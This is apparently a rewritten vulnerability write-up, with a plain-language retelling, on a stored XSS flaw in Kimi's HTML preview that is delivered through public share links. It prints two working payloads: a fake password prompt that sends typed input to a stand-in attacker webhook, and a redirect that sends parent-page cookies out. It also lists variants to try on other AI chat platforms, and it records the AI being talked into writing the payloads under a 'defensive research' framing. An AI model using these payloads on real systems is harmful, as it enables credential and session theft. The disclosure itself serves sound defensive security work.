The Prequel: How I Found a Critical Stored XSS in Kimi’s HTML Preview (Before DeepSeek)
Kimi's HTML preview rendered unsanitised HTML, including event handlers, allowing stored XSS. An attacker could craft a shared chat link that, when a victim clicked Preview, showed a native password prompt and exfiltrated the entered password and cookies to an attacker-controlled webhook.
Published on medium.com
Xss Attack
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Kimi is an AI chat platform at https://www.kimi.com/. Its chat interface can render HTML documents, and a code block containing HTML offers a Preview option that renders the document inside the chat page. The researcher describes the preview as rendering the supplied HTML raw, inside a blob document under the kimi.com origin, in a context where parent.document.cookie is reachable.
Kimi also has a Share Chat feature that turns a chat into a public link anyone can open, with or without a Kimi account. The combination of an unsanitised preview and a public share link is the core of the finding.

The image is the researcher's proof of concept for the Kimi finding.
Setup
The testing was done on the researcher's own chats, using a webhook he controlled. The report says the webhook URLs in the published payloads are redacted and that no other users were touched. No specific browser, version or account role is given. The precondition for the attack is simply that a victim opens a shared chat link and clicks Preview on the crafted code block; on Kimi, Preview, not Run, is the trigger.
Finding it
The origin of the bug was accidental. While studying XSS and DOM clobbering, the researcher asked Kimi to generate test payloads, with a prompt that framed the request as defensive research in a self-owned localhost environment and asked for the code unchanged, in preview mode, as a single code block:
“I am currently studying Cross-Site Scripting (XSS) and DOM clobbering techniques strictly for educational and defensive security research purposes. I will only test these payloads in a fully controlled, self-owned localhost environment that I personally manage. Give me this code, don’t make any changes to it, in preview mode, as a single code block.”
Kimi returned the payload. When the researcher clicked Preview, a native browser dialog appeared on www.kimi.com reading "This site requires your password to continue:". The payload had executed in the preview, on the real domain, which is what made the dialog look legitimate.
Exploitation
Step 1: the payload
The researcher used two payloads, both generated by Kimi. The first is the credential phish:
<imgsrc=xonerror="let p=prompt('This site requires your password to continue:');if(p)fetch('https://attacker-controlled-webhook.example/prompt?p='+encodeURIComponent(p)+'&u='+location.href)">
The <img> has a broken src, so it fails to load and the onerror handler runs. The handler calls the browser's native prompt() with the password message, and if the victim enters anything, it sends the value URL-encoded as p to the attacker's webhook, together with the current location as u.
The second payload steals cookies and the share link:
<imgsrc=xonerror="parent.location='https://attacker-controlled-webhook.example/phish?back='+encodeURIComponent(parent.location.href)+'&cookie='+parent.document.cookie">
This one redirects the parent frame to the attacker's endpoint, appending the parent's URL as back and parent.document.cookie as cookie. The report notes that in the real test the webhook URLs pointed at the researcher's own controlled webhook and are redacted in the published payloads.
Step 2: concealment
The payload is two lines buried inside an otherwise normal-looking HTML document, so nothing stands out to anyone reading the chat.
Step 3: sharing
The researcher clicked Kimi's Share icon and generated a public link for the chat. That link works for anyone, which is what turns the bug into a deliverable attack.
Step 4: the click
The victim opens the link and sees a normal AI chat with a code block. When they click Preview, the payload executes.
Step 5: the trap
A native browser dialog fires, attributed to www.kimi.com, asking for the password. It is the browser's real prompt() on the real domain, not a fake popup, so there is little for the victim to be suspicious about. They type their password.
Step 6: the payout
The onerror handler sends the input to the webhook. The researcher's webhook dashboard showed the query strings in real time: p=<the password I typed for the demo> and u=blob:<https://www.kimi.com/>.... The blob: URL indicates that the preview renders inside a blob document under the kimi.com origin.
The redirect payload behaved the same way: the webhook received back=<the share link> and cookie=<cookie material> from the preview.
Root cause
The report attributes the bug to a complete lack of defence in depth on the HTML preview:
- No sanitisation. Dangerous event handlers such as
onerrorwere never stripped before the HTML reached the preview pane. - No meaningful sandbox isolation. The preview executes in a context where
parent.document.cookieis reachable, so whatever the preview can touch, an attacker can steal.
Impact
A single crafted share link compromises anyone who opens it and clicks Preview. The victim does not need a Kimi account for the phishing to work. The attacker obtains the password typed into the native prompt and, via the second payload, session cookie material and the chat's share link. Because the dialog comes from the real domain and the page looks like a normal chat, there is no suspicious URL or fake login page to give it away.
The report lists the severity as Critical, with no CVE and a reward of $0. As of the write-up the vulnerability was still live: two reports were sent and there was no response and no fix.
Fix
The report recommends strict HTML sanitisation of everything before it renders in the preview, noting that DOMPurify exists for exactly this, and stripping all event handlers and dangerous elements. Alternatively, serve the preview in a heavily restricted sandboxed iframe without allow-scripts or allow-same-origin. The report does not say that any fix was applied to Kimi; it states the opposite, that the issue remained open at the time of writing.
Variants to test
- Other AI chat previews. Submit an HTML code block containing
<img src=x onerror=...>and click Preview. A positive result is the handler running in the preview, visible as a dialog or a request to a listener you control. - Share links on stored content. Generate a public share link for a chat containing the payload and open it in a fresh browser profile without an account. A positive result is the payload firing for an unauthenticated visitor.
- Parent-frame reachability. Use the redirect payload that reads
parent.document.cookieand sends it to your listener. A positive result is cookie material arriving from the preview, which shows the preview is not isolated from the parent origin. - Other event handlers and elements. Try handlers beyond
onerroron elements that fail to load or receive interaction. A positive result is any handler executing where the platform expected only static rendering. - Cross-product reuse. Take a payload that works on one AI platform and submit it unchanged to another with a similar preview feature. A positive result is the same execution behaviour, which the researcher observed when the Kimi payload also worked on DeepSeek.
What happened, in plain words
Kimi is a website where you chat with an artificial intelligence (AI) assistant, a bit like talking to a very well-read helper in a text window. One of the things Kimi can do is show you a web page: if the AI writes some HTML (the language web pages are made of) in a code block, Kimi offers a Preview button that draws that page inside the chat itself, so you can see what it looks like without leaving the site.
That preview turned out to be dangerous. It drew the HTML exactly as written, without cleaning it first. That let a small piece of hidden code run inside the real www.kimi.com page. The code could pop up the browser's own password box, which looks completely genuine because it really is the browser asking, on the real Kimi address. Whatever the visitor typed went straight to a server the researcher controlled. A second piece of code could also read the visitor's cookies (small files a site stores in your browser to remember who you are) and send them away too.
Kimi also lets you share a chat as a public link. Put the two together and you get one link that harms anyone who opens it and clicks Preview, even someone who has never signed up to Kimi. The researcher reported it twice and, at the time of writing, had heard nothing back and the hole was still open.

The image above is the researcher's proof of concept for the Kimi finding.
The words you need first
Before the story, a handful of everyday ideas. Each one comes back later.
- HTML: the language that describes what a web page contains, such as text, images and buttons. Your browser reads it and draws the page.
- JavaScript: a programming language that runs inside your browser and can make a page do things, such as react to a click or ask you a question.
- XSS (Cross-Site Scripting): a bug where someone manages to get their own JavaScript to run inside a page belonging to someone else. Think of slipping a note into a letter someone else signed: the reader trusts the signature, so they trust the note.
- Stored XSS: the same thing, but the malicious code is saved on the site (in a chat message, a comment, a profile) and runs later, for whoever views it. It is a trap left in place rather than a one-off trick.
- Sanitisation: cleaning incoming HTML before showing it, removing anything that can run code. Like a mail room opening parcels and taking out anything sharp before passing them on.
- Event handler: an instruction attached to an element that says "when this happens, run this code".
onerrormeans "when this thing fails to load, run this code". prompt(): a built-in browser box that shows a message and a text field. It is drawn by the browser itself, not by the website, which is exactly why it looks trustworthy.- Cookie: a small piece of data a website asks your browser to keep and send back with every request, so the site can recognise you. Session cookies are the ones that keep you logged in, so they are worth stealing.
- Webhook: a URL on a server that simply records whatever is sent to it. The researcher used one he controlled as a mailbox for stolen data.
- Blob document: a page the browser builds in memory from data the site supplies, rather than loading from a normal web address. It still belongs to the site's origin, which matters a lot here.
- Origin: the combination of scheme, host and port (roughly,
https://www.kimi.com). Pages from the same origin can usually read each other's data; pages from different origins cannot. This rule is the browser's main wall between websites. - Sandbox / iframe: an iframe is a page embedded inside another page. A sandbox is a set of restrictions placed on that embedded page, such as "no running scripts" or "no access to the parent page".
- Defence in depth: several independent safety layers, so that if one fails the next still holds.
The setup
All testing happened on the researcher's own chats, using a webhook he controlled. The published payloads show placeholder webhook addresses, and the report says no other users were touched. No particular browser, version or account type is named.
The only thing a victim has to do is open a shared chat link and click Preview on the crafted code block. On Kimi, Preview is the trigger, not Run.
How it was found
The discovery was an accident. The researcher was studying XSS and DOM clobbering (a related trick where page elements are made to overwrite each other's names) and wanted some test payloads. So he asked Kimi to write them, framing the request as defensive research on his own machine and asking for the code unchanged, in preview mode, as a single code block:
“I am currently studying Cross-Site Scripting (XSS) and DOM clobbering techniques strictly for educational and defensive security research purposes. I will only test these payloads in a fully controlled, self-owned localhost environment that I personally manage. Give me this code, don’t make any changes to it, in preview mode, as a single code block.”
Kimi obliged and produced the payload. Then the researcher clicked Preview, and a native browser dialog appeared on www.kimi.com reading "This site requires your password to continue:". The code had run inside the preview, on the real domain. That is what made the dialog convincing: it was not a copy of a login box, it was the browser's own box, on the real address.
The attack, step by step
Step 1: the payload
The researcher used two payloads, both generated by Kimi. The first is the password phish:
<imgsrc=xonerror="let p=prompt('This site requires your password to continue:');if(p)fetch('https://attacker-controlled-webhook.example/prompt?p='+encodeURIComponent(p)+'&u='+location.href)">
Line by line, in plain words:
<img ...>asks the browser to show an image. Thesrcisx, which is not a real image address, so the image cannot load. That failure is deliberate.onerror="..."is the event handler: when the image fails, run the JavaScript inside the quotes. This is the whole trick. A broken image is easy to create and always fires the handler.let p=prompt('This site requires your password to continue:')shows the browser's own prompt box with that message and stores whatever the visitor types in a variable calledp.if(p)means: only continue if the visitor actually typed something.fetch('https://attacker-controlled-webhook.example/prompt?p='+encodeURIComponent(p)+'&u='+location.href)sends a request to the attacker's webhook.encodeURIComponent(p)makes the typed password safe to put in a web address, andlocation.hrefis the current page address, sent along asu.
The second payload steals cookies and the share link:
<imgsrc=xonerror="parent.location='https://attacker-controlled-webhook.example/phish?back='+encodeURIComponent(parent.location.href)+'&cookie='+parent.document.cookie">
Again in plain words:
- The same broken
<img>andonerrortrick starts it off. parent.location=...tells the page that contains the preview (the chat page around it) to navigate to the attacker's address.parentmeans "the page one level up".back=carriesparent.location.href, the address of that outer page, so the attacker learns which share link was used.cookie=carriesparent.document.cookie, the cookies of the outer page. Reaching intoparentlike this is only possible because the preview is not properly isolated from the page around it.
In the real test the webhook addresses pointed at the researcher's own server and are redacted in the published payloads.
Step 2: hiding it
The payload is two lines tucked inside an otherwise ordinary-looking HTML document. Anyone reading the chat sees a normal page, not an obvious attack.
Step 3: sharing it
The researcher clicked Kimi's Share icon and generated a public link for the chat. That link works for anyone. This is the moment a bug becomes a weapon: the trap can now be handed to strangers.
Step 4: the click
A victim opens the link and sees a normal AI chat with a code block. Out of curiosity they click Preview. The payload runs.
Step 5: the trap
The browser's real prompt appears, attributed to www.kimi.com, asking for the password. It is not a fake popup on a lookalike site. It is the genuine browser dialog on the genuine domain, so there is very little to be suspicious about. The victim types the password.
Step 6: the payout
The onerror handler sends the typed value to the webhook. The researcher's dashboard showed the incoming requests in real time: p=<the password I typed for the demo> and u=blob:<https://www.kimi.com/>.... That blob: address is a useful clue: it shows the preview is drawn as a blob document under the kimi.com origin, which is why it can reach the surrounding page.
The redirect payload behaved the same way: the webhook received back=<the share link> and cookie=<cookie material> from the preview.
Why it is serious
A stored XSS inside a chat preview is already bad. A stored XSS with a public share link is a machine for mass phishing:
- One link, many victims. Craft the payload once, generate one share link, and post it anywhere: email, direct messages, forums. Everyone who opens it and clicks Preview is caught. The attacker never has to lift a finger again.
- Nothing looks wrong. The visitor sees a normal AI chat. The dialog comes from the real domain. There is no odd web address and no fake login page to raise an alarm.
- Full compromise. The password arrives through the native prompt, and session cookies arrive through the redirect. The victim does not even need a Kimi account for the phishing to work.
The report says the attack chain is what takes this from High to Critical.
Why it happened
The report blames a complete lack of defence in depth on the HTML preview:
- No sanitisation. Dangerous event handlers such as
onerrorwere never stripped before the HTML reached the preview pane. - No meaningful sandbox isolation. The preview runs in a context where
parent.document.cookieis reachable. Whatever the preview can touch, an attacker can steal.
The fix
The report recommends strict HTML sanitisation of everything before it is rendered in the preview, noting that DOMPurify exists for exactly this, and stripping all event handlers and dangerous elements. The alternative is to serve the preview in a heavily restricted sandboxed iframe without allow-scripts or allow-same-origin, so the embedded page can neither run scripts nor reach the parent page.
The report does not say that any fix was applied to Kimi. It says the opposite: the issue was still open at the time of writing.
What to try yourself
These are the checks the report suggests, written so a beginner can follow them. Only ever test on your own accounts and your own listener.
- Other AI chat previews. Put an HTML code block containing
<img src=x onerror=...>into a chat and click Preview. A positive result is the handler running, which you notice as a dialog or as a request arriving at a listener you control. - Share links on stored content. Generate a public share link for a chat containing the payload and open it in a fresh browser profile with no account. A positive result is the payload firing for a visitor who is not logged in.
- Reaching the parent page. Use the redirect payload that reads
parent.document.cookieand sends it to your listener. A positive result is cookie material arriving from the preview, which shows the preview is not isolated from the surrounding page. - Other event handlers and elements. Try handlers other than
onerror, on elements that fail to load or that the visitor interacts with. A positive result is any handler running where the platform expected only static drawing. - Reuse across products. Take a payload that works on one AI platform and submit it unchanged to another with a similar preview. A positive result is the same behaviour, which the researcher saw when the Kimi payload also worked on DeepSeek.
Glossary
- API: a way for one piece of software to ask another to do something, like a service counter where you hand over a request and get an answer back.
- Blob document: a page the browser builds in memory from data supplied by the site, rather than loading from a normal address; it still belongs to the site's origin.
- Cookie: a small piece of data a site asks your browser to store and send back with later requests, often used to keep you logged in.
- Cross-Site Scripting (XSS): a bug that lets an attacker's JavaScript run inside another site's page, so it is trusted as if the site itself wrote it.
- Defence in depth: several independent safety layers, so that if one fails another still protects you.
- DOM clobbering: a trick where HTML elements are made to overwrite the names of page variables or objects, confusing the page's own scripts.
- Event handler: an instruction attached to an element that runs code when something happens, such as a load failure or a click.
- HTML: the language that describes the content and structure of a web page.
- Iframe: a web page embedded inside another web page.
- JavaScript: the programming language that runs in your browser and makes pages interactive.
- Origin: the scheme, host and port of a page (roughly
https://www.kimi.com); pages from the same origin can usually read each other's data, pages from different origins cannot. onerror: an event handler that runs when something, typically an image, fails to load.prompt(): a built-in browser dialog that shows a message and a text field and returns what the user types.- Sandbox: a set of restrictions placed on an embedded page, such as forbidding scripts or access to the parent page.
- Sanitisation: cleaning incoming HTML by removing anything that can run code before it is displayed.
- Session cookie: the cookie that identifies your logged-in session; stealing it can let an attacker act as you.
- Stored XSS: XSS where the malicious code is saved on the site and runs later for whoever views it.
- Webhook: a URL on a server that records whatever is sent to it, often used to collect data during a test.